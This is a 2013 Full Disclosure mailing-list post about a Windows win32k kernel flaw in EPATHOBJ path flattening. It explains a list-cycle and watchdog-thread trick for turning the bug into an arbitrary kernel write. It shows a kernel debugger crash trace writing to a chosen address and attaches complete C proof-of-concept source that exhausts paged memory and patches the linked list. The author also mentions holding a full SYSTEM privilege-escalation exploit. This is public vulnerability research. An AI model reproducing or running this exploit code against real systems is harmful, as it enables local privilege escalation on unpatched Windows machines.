Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: exploitation ideas under memory pressure
From: Tavis Ormandy <taviso () cmpxchg8b com>
Date: Mon, 20 May 2013 14:35:54 -0700

On Fri, May 17, 2013 at 05:44:58PM -0700, Tavis Ormandy wrote:
On Fri, May 17, 2013 at 02:26:10PM -0700, Tavis Ormandy wrote:

The question is how to get PATHALLOC() to succeed under memory pressure so we
can make this exploitable, my first thought was have another thread
manipulating the free pool, but I can't figure out how to synchronize
that. Getting code execution should be trivial after this.

I guess it's possible to just race it until we win, but this seems like an
inelegant solution. Anyone have any ideas?


Ahh, I just realised a really cute trick, we can make PATHREC->next
point to the same userspace PATHREC, and EPATHOBJ::bFlatten will spin
forever traversing an infinite linked list.

i.e.

PathRecord->next = PathRecord;

While it's spinning, another thread can clean up the pool, then patch
the listnode (because it's in userspace), to break into pprFlattenRec!
Turning this into a clean write-what-where should be trivial.

Anyone want to volunteer to write it up over the weekend? :)

Tavis.

I guess I'm talking to myself, maybe this list is all about XSS now ;)

I'm quite proud of this list cycle trick, here's how to turn it into an
arbitrary write.

First, we create a watchdog thread that will patch the list atomically
when we're ready. This is needed because we can't exploit the bug while
HeavyAllocPool is failing, because of the early exit in pprFlattenRec:

.text:BFA122B8                 call newpathrec              ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
.text:BFA122BD                 cmp     eax, 1               ; Check for failure
.text:BFA122C0                 jz      short continue
.text:BFA122C2                 xor     eax, eax             ; Exit early
.text:BFA122C4                 jmp     early_exit

So we create a list node like this:

PathRecord->Next    = PathRecord;
PathRecord->Flags   = 0;

Then EPATHOBJ::bFlatten() spins forever doing nothing:

BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
{
    /* ... */

    for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
    {
      if ( ppr->flags & PD_BEZIER )
      {
        ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
      }
    }

    /* ... */
}

While it's spinning, we clean up in another thread, then patch the thread (we
can do this, because it's now in userspace) to trigger the exploit. The first
block of pprFlattenRec does something like this:

    if ( pprNew->pprPrev )
      pprNew->pprPrev->pprnext = pprNew;

Let's make that write to 0xCCCCCCCC.

DWORD WINAPI WatchdogThread(LPVOID Parameter)
{

    // This routine waits for a mutex object to timeout, then patches the
    // compromised linked list to point to an exploit. We need to do this.
    LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
                       GetCurrentThreadId(),
                       Mutex);

    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
        // It looks like the main thread is stuck in a call to FlattenPath(),
        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
        // up, and then patch the list to trigger our exploit.
        while (NumRegion--)
            DeleteObject(Regions[NumRegion]);

        LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);

        InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);

    } else {
        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
    }

    return 0;
}

    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PVOID)(0x42424242);
    PathRecord->flags   = 0;

    ExploitRecord.next  = NULL;
    ExploitRecord.prev  = 0xCCCCCCCC;
    ExploitRecord.flags = PD_BEZIERS;

Here's the output on Windows 8:

kd> g
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck 50, {cccccccc, 1, 8f18972e, 2}

*** WARNING: Unable to verify checksum for ComplexPath.exe
*** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )

Followup: MachineOwner
---------

nt!RtlpBreakWithStatusInstruction:
810f46f4 cc              int     3
kd> kv
ChildEBP RetAddr  Args to Child              
a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
WARNING: Stack unwind information not available. Following frames may be wrong.
0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
kd> .trap a03aba2c
ErrCode = 00000002
eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
win32k!EPATHOBJ::pprFlattenRec+0x82:
8f18972e 8918            mov     dword ptr [eax],ebx  ds:0023:cccccccc=????????
kd> vertarget
Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 9200.16581.x86fre.win8_gdr.130410-1505
Machine Name:
Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
System Uptime: 0 days 0:02:30.432
kd> .bugcheck
Bugcheck code 00000050
Arguments cccccccc 00000001 8f18972e 00000002

Demo code attached. I have a working exploit that grants SYSTEM on all
currently supported versions of Windows. Code is available on request to
students from reputable schools.

If nobody else on the list can figure out the final details, then I've
lost faith in the next generation ;)

Tavis.
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")

#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000

//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
//

POINT       Points[MAX_POLYPOINTS];
BYTE        PointTypes[MAX_POLYPOINTS];
HRGN        Regions[MAX_REGIONS];
ULONG       NumRegion;
HANDLE      Mutex;

// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010

typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.
typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[0];
} PATHRECORD, *PPATHRECORD;


PPATHRECORD PathRecord;
PATHRECORD  ExploitRecord;

DWORD WINAPI WatchdogThread(LPVOID Parameter)
{

    // This routine waits for a mutex object to timeout, then patches the
    // compromised linked list to point to an exploit. We need to do this.
    LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
                       GetCurrentThreadId(),
                       Mutex);

    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
        // It looks like the main thread is stuck in a call to FlattenPath(),
        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
        // up, and then patch the list to trigger our exploit.
        while (NumRegion--)
            DeleteObject(Regions[NumRegion]);

        LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);

        InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);

    } else {
        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
    }

    return 0;
}

int main(int argc, char **argv)
{
    HANDLE      Thread;
    HDC         Device;
    ULONG       Size;
    HRGN        Buffer;
    ULONG       PointNum;
    ULONG       Count;

    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);

    // Initialise with recognisable debugging values.
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PVOID)(0x42424242);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    PathRecord->flags   = 0;

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

    ExploitRecord.next  = NULL;
    ExploitRecord.prev  = 0xCCCCCCCC;
    ExploitRecord.flags = PD_BEZIERS;

    LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4);

    // Generate a large number of Bezier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                     NULL,
                     NULL,
                     0,
                     GENERIC_ALL,
                     NULL));

    Mutex = CreateMutex(NULL, TRUE, NULL);

    // Get a handle to this Desktop.
    Device = GetDC(NULL);

    // Spawn a thread to cleanup
    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

    // We need to cause a specific AllocObject() to fail to trigger the
    // exploitable condition. To do this, I create a large number of rounded
    // rectangular regions until they start failing. I don't think it matters
    // what you use to exhaust paged memory, there is probably a better way.
    //
    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
    // failure. Seriously, do some damn QA Microsoft, wtf.

    for (Size = 1 << 26; Size; Size >>= 1) {
        while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
            NumRegion++;
    }

    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);


    LogMessage(L_INFO, "Flattening curves...");

    // Begin filling the free list with our points.
    for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
        BeginPath(Device);
        PolyDraw(Device, Points, PointTypes, PointNum);
        EndPath(Device);
        FlattenPath(Device);
        FlattenPath(Device);
        EndPath(Device);
    }

    LogMessage(L_INFO, "No luck, cleaning up");

    // If we reach here, we didn't trigger the condition. Let the other thread know.
    ReleaseMutex(Mutex);

    ReleaseDC(NULL, Device);
    WaitForSingleObject(Thread, INFINITE);

    return 0;
}

// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;

    va_start(Args, Format);
        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
    }

    fflush(stdout);
    fflush(stderr);

    return TRUE;
}
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]